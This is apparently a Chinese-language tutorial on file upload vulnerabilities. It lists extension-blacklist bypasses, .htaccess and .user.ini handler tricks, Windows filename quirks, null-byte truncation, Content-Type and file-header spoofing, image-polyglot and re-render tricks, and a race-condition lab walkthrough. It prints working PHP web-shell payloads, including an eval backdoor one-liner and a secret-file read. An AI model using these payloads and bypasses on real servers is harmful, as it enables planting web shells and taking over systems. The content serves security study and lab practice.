
文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传绕过
黑名单绕过
有些网站在黑名单添加了一些后缀,但是一个语言有很多的可解释后缀,黑名单不全面时即可利用
语言 | 默认服务器及可解析后缀 | 猜测可绕过后缀 |
---|---|---|
asp.net | IIS:N/A | asp , aspx , asa , asax , ascx , ashx , asmx , cer , aSp , aSpx , aSa , aSax , aScx , aShx , aSmx , cEr |
php | apache:.php .html .htm |
php , php5 , php4 , php3 , php2 , pHp , pHp5 , pHp4 , pHp3 , pHp2 , html , htm , phtml , pht , Html , Htm , pHtml |
jsp | tomcat:*.jsp *jspx |
jsp , jspa , jspx , jsw , jsv , jspf , jtml , jSp , jSpx , jSpa , jSw , jSv , jSpf , jHtml |
Tomcat添加可解析后缀名:
-
路径: apache-tomcat-x.x.x\conf\web.xml
-
文件: web.xml
-
修改位置:
<url-pattern>*.*</url-pattern>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
Apache添加可解析后缀名:
-
路径:Apache24\conf\httpd.conf
-
文件:httpd.conf
-
修改位置:AddType application/x-httpd-php .php .html .htm
-
AddType application/x-httpd-php .php .html .htm
.htaccess解析
前提条件:
-
Apache开启.htaccess文件功能
-
.htaccess
文件能正常上传
开启.htaccess文件功能:
-
路径:Apache24\conf\httpd.conf
-
文件:httpd.conf
<Directory "${SRVROOT}/htdocs">
Options Indexes FollowSymLinks
AllowOverride None ( None -> ALL )
Require all granted
</Directory>
...
#去掉下一行代码的注释
#LoadModule rewrite_module modules/mod_rewrite.so
.htaccess
文件例:
//1.这将把目录下的shell.jpg的文件当做可执行的php脚本进行解析并执行。[优先]
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//2.上传后缀为.aaa的文件,让其做为php类型文件进行解析
AddType application/x-httpd-php .aaa
.user.ini绕过
原理:
-
除了主php.ini之外,PHP还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。 -
.user.ini是PHP支持基于每个目录的INI文件配置。如果你的PHP以模块化运行在Apache里,则用.htaccess文件有同样效果。
.user.ini
文件例:
//效果跟上一部分提到的差不多
auto_prepend_file=shell.jpg
大小写绕过
原理:
- 后缀名黑名单过滤不全面
- 虽然设置了黑名单对常见的后缀进行过滤,但并未对后缀名大小写进行统一。可以利用大小写进行绕过。例如:.phP
示例:
-
代码只对后缀名为.php的文件进行了拦截,并未对.pHp后缀名的文件拦截
-
上传后缀名为.pHp的文件
点绕过
原理:
- Windows 系统下,文件后缀名最后一个点会被自动去除。
使用条件:
- 服务器为Windows系统
利用方法:
利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 . 绕过上传。
空格绕过
原理:
- 文件上传功能过滤不完善,没有考虑到空格的情况,将文件
demo.php(空格)
认为是以(空格)
结尾的特殊文件,允许上传,当文件成功上传到windows系统下时,因为Windows系统特性会被作为空处理,也就是删除文件最后的空格,结果为demo.php
使用条件:
- 服务器为Windows系统
利用方法:
利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 (空格)
绕过上传。
可与上一条结合使用
::$DATA绕过
原理:
- Windows 中,
文件名+::$DATA
会把$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名,不会检查后缀名。
使用条件:
- 服务器为Windows系统
利用方法:
利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 ::$DATA
绕过上传。
双写后缀绕过
原理:
- 在上传模块,有的代码会把黑名单的后缀名替换成空,例如a.php 会把php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。
%00截断绕过
原理:
-
如果黑名单上传检测后,没有限定后缀名,绕过的方法很多,使用白名单验证会相对比较安全,因为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。
-
保存文件时处理文件名的函数会从左往右检测,在遇到%00字符认为这是终止符,从而丢弃之后的字符。但是白名单检测时会从右往左检测,如果后面的字符符合后缀白名单要求时,就会通过检测。
条件:
PHP
版本小于5.3.4
利用方法
GET方式:
利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 ::$DATA
绕过上传。
POST方式:
通过 BurpSuite 修改 hex 值为 00 进行截断
Content-Type 绕过
原理:
后端通过检查HTTP请求头中的 Content-Type 字段来确定上传文件的类型。服务器是通过 Content-Type 判断类型,Content-Type 在客户端可被修改,因此可以绕过。
利用方法:
利用 BurpSuite 工具截断 HTTP 请求,修改 Content-Type。
文件头检测绕过
原理:
所有的文件都是以二进制的形式进行存储的,在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)都有一片区域来显示这个文件的实际用法,这就是文件头标志,服务器对白名单进行文件头检测,符合,则允许上传,反之不允许。
主要分为三个方面:前两字节绕过,getimagesize绕过和exif_imagetype绕过。
常见文件头:
- JPEG (jpg),文件头:FFD8FF
- PNG (png),文件头:89504E47
- GIF (gif),文件头:47494638
- XML (xml),文件头:3C3F786D6C
- ZIP Archive (zip),文件头:504B0304
利用条件:
- exif_imagetype绕过需启用php_exif扩展
利用方式
前两字节绕过
修改前两字节再上传
绕过 getimagesize 函数
getimagesize 函数用于获取图像大小及相关信息。可以通过隐写术将恶意代码嵌入图片中,从而绕过检测
步骤:
-
准备一张图片和一个包含恶意代码的文件。
-
使用隐写术将恶意代码写入图片中。
-
上传经过处理的图片。
示例:
copy /b image.jpg + shell.php new_image.jpg
绕过 exif_imagetype 函数
exif_imagetype 函数读取图像的第一个字节并检查其签名。如果发现恰当的签名则返回对应的常量,否则返回 FALSE
步骤:
-
准备一个合法的图片文件。
-
在图片末尾添加 PHP 代码。
-
上传修改后的图片。
示例:
// 使用 010Editor 打开图片,在末尾添加 PHP 代码
<?php echo "Hello, World!"; ?>
二次渲染绕过
原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新。
处理完成后,根据原有的图片对比,找到没被修改的部分,然后利用这一部分,生成一个新的图片并放到网站对应的标签进行显示。
利用方法:
使用 GIF 图片插入一句话木马,然后上传
不使用 PNG 等格式的原因:
渲染前后相同部分很少,一句话木马经过渲染会被删除
然后,
- 将渲染前后对比,在渲染前两者的相同部分插入一句话木马
或者
- 直接在渲染后的图片中插入一句话木马
条件竞争绕过
原理:
程序逻辑为先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除,或其它类似逻辑,则可以在上传后删除前的窗口期快速访问以获取 Webshell。
利用方法:
- 上传a.php木马文件,以极快的时候进行访问,执行文件流重新写入一个新的木马文件b.php
<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?>
只要访问了a.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<?php @eval($_POST["x"]);?>
或者
- 上传多个a.php木马文件,赶在应用程序删除它之前,我们进行访问;
例题
Lab: Web shell upload via race condition
审计 Hint 中的代码
`<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
// 这里先上传了
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
// 后检查
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) { // checking for viruses ... }
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false; }
else {
return true;
}
}
?>`
可以发现代码中先进行文件存储再进行文件检查
在检查后删除前和文件存储前的间隙访问即可
使用 BurpSuite 发送上传文件请求和访问请求到 Repeater,然后平行发送请求即可
根据题目要求使用以下 Payload
<?php echo file_get_contents('/home/carlos/secret'); ?>